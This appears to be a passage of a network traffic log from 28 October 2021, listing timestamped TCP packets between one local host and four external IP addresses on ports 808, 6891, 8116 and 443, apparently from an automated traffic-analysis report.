Oct 28, 2021 05:04:35.280642033 CEST	49844	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:35.280684948 CEST	49844	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:35.284689903 CEST	49844	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:35.402983904 CEST	49846	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:35.443195105 CEST	808	49844	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:35.470021009 CEST	6891	49845	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:35.470103025 CEST	6891	49845	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:35.470180035 CEST	49845	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:35.476140976 CEST	49845	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:35.569430113 CEST	6891	49846	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:35.569565058 CEST	49846	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:35.570698023 CEST	49846	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:35.586457014 CEST	49847	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:35.639552116 CEST	8116	49847	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:35.639704943 CEST	49847	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:35.640398979 CEST	49847	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:35.641416073 CEST	6891	49845	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:35.693118095 CEST	8116	49847	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:35.693356037 CEST	8116	49847	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:35.693445921 CEST	49847	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:35.694027901 CEST	49847	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:35.700217009 CEST	49847	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:35.700325012 CEST	49847	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:35.736984968 CEST	6891	49846	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:35.737097025 CEST	6891	49846	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:35.737186909 CEST	49846	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:35.737696886 CEST	49846	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:35.742223024 CEST	49846	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:35.742312908 CEST	49846	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:35.753173113 CEST	8116	49847	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:35.908816099 CEST	6891	49846	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:35.908901930 CEST	6891	49846	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:35.922451019 CEST	8116	49847	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:35.922503948 CEST	8116	49847	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:35.922717094 CEST	49847	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:35.922744989 CEST	49847	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:35.932635069 CEST	49847	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:35.985716105 CEST	8116	49847	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:36.057349920 CEST	49852	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:36.057398081 CEST	443	49852	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:36.057652950 CEST	49852	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:36.058456898 CEST	49852	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:36.058478117 CEST	443	49852	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:36.307100058 CEST	6891	49846	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:36.307121038 CEST	6891	49846	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:36.307540894 CEST	49846	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:36.310590982 CEST	49846	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:36.429259062 CEST	49854	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:36.476912975 CEST	6891	49846	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:36.477575064 CEST	8116	49854	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:36.477683067 CEST	49854	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:36.478286982 CEST	49854	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:36.526473045 CEST	8116	49854	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:36.526599884 CEST	8116	49854	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:36.527240038 CEST	49854	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:36.527714968 CEST	49854	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:36.531642914 CEST	49854	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:36.531727076 CEST	49854	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:36.576013088 CEST	443	49852	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:36.576143980 CEST	49852	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:36.576642990 CEST	49852	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:36.576649904 CEST	443	49852	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:36.579847097 CEST	8116	49854	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:36.580087900 CEST	8116	49854	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:36.580491066 CEST	8116	49854	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:36.580801964 CEST	8116	49854	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:36.581906080 CEST	49852	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:36.581923962 CEST	443	49852	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:36.581949949 CEST	49852	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:36.581962109 CEST	443	49852	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:36.751483917 CEST	8116	49854	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:36.751516104 CEST	8116	49854	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:36.751626015 CEST	49854	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:36.754713058 CEST	49854	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:36.802938938 CEST	8116	49854	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:36.932638884 CEST	49855	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:36.932677984 CEST	443	49855	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:36.932835102 CEST	49855	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:36.937258005 CEST	49855	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:36.937289000 CEST	443	49855	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:37.288049936 CEST	443	49852	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:37.288162947 CEST	443	49852	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:37.288191080 CEST	49852	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:37.288347006 CEST	49852	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:37.297221899 CEST	49852	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:37.297261000 CEST	443	49852	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:37.416021109 CEST	49856	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:37.460323095 CEST	443	49855	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:37.460426092 CEST	49855	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:37.461253881 CEST	49855	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:37.461271048 CEST	443	49855	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:37.466104031 CEST	49855	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:37.466123104 CEST	443	49855	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:37.466197968 CEST	49855	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:37.466211081 CEST	443	49855	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:37.581471920 CEST	808	49856	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:37.581707954 CEST	49856	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:37.582331896 CEST	49856	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:37.747558117 CEST	808	49856	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:37.747601986 CEST	808	49856	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:37.747670889 CEST	49856	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:37.748116970 CEST	49856	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:37.751732111 CEST	49856	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:37.751826048 CEST	49856	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:37.913248062 CEST	808	49856	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:37.916915894 CEST	808	49856	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:37.916989088 CEST	808	49856	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:37.917038918 CEST	808	49856	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:38.176208019 CEST	443	49855	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:38.176305056 CEST	443	49855	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:38.176446915 CEST	49855	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:38.178539991 CEST	49855	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:38.178920031 CEST	49855	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:38.178950071 CEST	443	49855	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:38.296509027 CEST	808	49856	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:38.296547890 CEST	808	49856	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:38.296917915 CEST	49856	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:38.305464983 CEST	49856	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:38.437273026 CEST	49857	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:38.470798969 CEST	808	49856	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:38.474615097 CEST	49858	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:38.602900982 CEST	6891	49857	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:38.602997065 CEST	49857	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:38.603517056 CEST	49857	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:38.639158964 CEST	808	49858	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:38.639276028 CEST	49858	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:38.639777899 CEST	49858	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:38.768960953 CEST	6891	49857	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:38.768990040 CEST	6891	49857	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:38.769078016 CEST	49857	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:38.769881010 CEST	49857	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:38.776355028 CEST	49857	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:38.776515961 CEST	49857	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:38.804326057 CEST	808	49858	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:38.804420948 CEST	808	49858	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:38.811024904 CEST	49858	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:38.811829090 CEST	49858	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:38.816207886 CEST	49858	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:38.816303015 CEST	49858	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:38.941831112 CEST	6891	49857	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:38.941880941 CEST	6891	49857	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:38.941915989 CEST	6891	49857	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:38.941997051 CEST	6891	49857	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:38.976185083 CEST	808	49858	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:38.980679989 CEST	808	49858	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:38.980719090 CEST	808	49858	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:38.980746031 CEST	808	49858	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:39.328699112 CEST	6891	49857	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:39.328731060 CEST	6891	49857	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:39.328990936 CEST	49857	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:39.341444016 CEST	49857	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:39.362111092 CEST	808	49858	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:39.362132072 CEST	808	49858	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:39.362200975 CEST	49858	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:39.362230062 CEST	49858	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:39.364417076 CEST	49858	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:39.459980965 CEST	49859	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:39.476443052 CEST	49860	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:39.507246017 CEST	6891	49857	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:39.516860962 CEST	8116	49859	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:39.517028093 CEST	49859	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:39.517846107 CEST	49859	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:39.528923035 CEST	808	49858	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:39.574395895 CEST	8116	49859	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:39.574632883 CEST	8116	49859	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:39.574768066 CEST	49859	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:39.575123072 CEST	49859	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:39.578999043 CEST	49859	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:39.579122066 CEST	49859	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:39.635521889 CEST	8116	49859	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:39.635551929 CEST	8116	49859	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:39.642076969 CEST	6891	49860	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:39.642245054 CEST	49860	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:39.642918110 CEST	49860	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:39.808274984 CEST	6891	49860	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:39.808314085 CEST	6891	49860	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:39.808423996 CEST	49860	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:39.808919907 CEST	49860	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:39.813966990 CEST	49860	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:39.814063072 CEST	49860	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:39.821466923 CEST	8116	49859	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:39.821511030 CEST	8116	49859	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:39.821592093 CEST	49859	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:39.821624041 CEST	49859	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:39.826870918 CEST	49859	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:39.883439064 CEST	8116	49859	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:39.962390900 CEST	49861	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:39.962455988 CEST	443	49861	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:39.962656021 CEST	49861	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:39.963340998 CEST	49861	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:39.963370085 CEST	443	49861	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:39.979429007 CEST	6891	49860	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:39.979450941 CEST	6891	49860	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:40.018774986 CEST	6891	49860	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:40.367636919 CEST	6891	49860	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:40.367665052 CEST	6891	49860	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:40.367851019 CEST	49860	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:40.370688915 CEST	49860	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:40.447527885 CEST	443	49861	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:40.447624922 CEST	49861	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:40.448127031 CEST	49861	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:40.448146105 CEST	443	49861	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:40.452362061 CEST	49861	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:40.452382088 CEST	443	49861	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:40.452438116 CEST	49861	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:40.452452898 CEST	443	49861	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:40.505242109 CEST	49862	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:40.535896063 CEST	6891	49860	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:40.559495926 CEST	8116	49862	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:40.559639931 CEST	49862	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:40.560189009 CEST	49862	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:40.612785101 CEST	8116	49862	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:40.612807035 CEST	8116	49862	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:40.613029003 CEST	49862	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:40.614070892 CEST	49862	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:40.620573997 CEST	49862	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:40.620709896 CEST	49862	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:40.672916889 CEST	8116	49862	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:40.857434034 CEST	8116	49862	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:40.857464075 CEST	8116	49862	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:40.857573032 CEST	49862	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:40.857640982 CEST	49862	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:40.861378908 CEST	49862	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:40.913707972 CEST	8116	49862	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:40.992686987 CEST	49863	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:40.992727995 CEST	443	49863	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:40.993608952 CEST	49863	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:40.996135950 CEST	49863	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:40.996154070 CEST	443	49863	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:41.142611027 CEST	443	49861	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:41.142683983 CEST	443	49861	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:41.142852068 CEST	49861	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:41.142868042 CEST	49861	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:41.149729013 CEST	49861	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:41.149756908 CEST	443	49861	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:41.260890007 CEST	49864	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:41.422940969 CEST	808	49864	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:41.423340082 CEST	49864	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:41.424062967 CEST	49864	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:41.518934011 CEST	443	49863	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:41.519046068 CEST	49863	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:41.519937038 CEST	49863	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:41.519948006 CEST	443	49863	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:41.524094105 CEST	49863	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:41.524106026 CEST	443	49863	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:41.524189949 CEST	49863	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:41.524204016 CEST	443	49863	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:41.583260059 CEST	808	49864	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:41.583391905 CEST	808	49864	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:41.583475113 CEST	49864	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:41.584027052 CEST	49864	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:41.587977886 CEST	49864	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:41.588072062 CEST	49864	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:41.743136883 CEST	808	49864	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:41.747114897 CEST	808	49864	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:41.747132063 CEST	808	49864	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:41.747139931 CEST	808	49864	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:42.138784885 CEST	808	49864	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:42.138811111 CEST	808	49864	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:42.138895988 CEST	49864	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:42.145803928 CEST	49864	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:42.239893913 CEST	443	49863	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:42.239978075 CEST	443	49863	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:42.240004063 CEST	49863	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:42.240041971 CEST	49863	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:42.243269920 CEST	49863	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:42.243289948 CEST	443	49863	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:42.264596939 CEST	49865	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:42.305397034 CEST	808	49864	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:42.394082069 CEST	49866	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:42.431267023 CEST	6891	49865	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:42.433876991 CEST	49865	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:42.434603930 CEST	49865	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:42.557127953 CEST	808	49866	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:42.557255030 CEST	49866	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:42.557965040 CEST	49866	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:42.601840019 CEST	6891	49865	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:42.601897955 CEST	6891	49865	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:42.604609966 CEST	49865	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:42.605114937 CEST	49865	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:42.608829021 CEST	49865	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:42.608948946 CEST	49865	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:42.720807076 CEST	808	49866	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:42.720999956 CEST	808	49866	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:42.721107006 CEST	49866	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:42.721561909 CEST	49866	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:42.725111008 CEST	49866	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:42.725197077 CEST	49866	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:42.775413036 CEST	6891	49865	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:42.775434017 CEST	6891	49865	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:42.775572062 CEST	6891	49865	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:42.884170055 CEST	808	49866	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:42.887731075 CEST	808	49866	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:42.887772083 CEST	808	49866	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:42.887882948 CEST	808	49866	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:43.160918951 CEST	6891	49865	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:43.160953045 CEST	6891	49865	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:43.161072016 CEST	49865	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:43.161094904 CEST	49865	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:43.171751976 CEST	49865	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:43.277837038 CEST	808	49866	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:43.277859926 CEST	808	49866	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:43.278410912 CEST	49866	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:43.282423019 CEST	49866	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:43.284363985 CEST	49867	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:43.337174892 CEST	8116	49867	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:43.338059902 CEST	6891	49865	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:43.347311974 CEST	49867	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:43.349605083 CEST	49867	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:43.402034044 CEST	49868	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:43.402231932 CEST	8116	49867	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:43.402476072 CEST	8116	49867	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:43.402542114 CEST	49867	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:43.403049946 CEST	49867	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:43.406718969 CEST	49867	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:43.406831026 CEST	49867	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:43.445223093 CEST	808	49866	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:43.459768057 CEST	8116	49867	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:43.459785938 CEST	8116	49867	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:43.460505009 CEST	8116	49867	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:43.567481995 CEST	6891	49868	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:43.571639061 CEST	49868	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:43.572479963 CEST	49868	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:43.631858110 CEST	8116	49867	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:43.631880999 CEST	8116	49867	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:43.631987095 CEST	49867	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:43.632016897 CEST	49867	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:43.639297009 CEST	49867	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:43.692553997 CEST	8116	49867	185.56.219.47	192.168.2.3
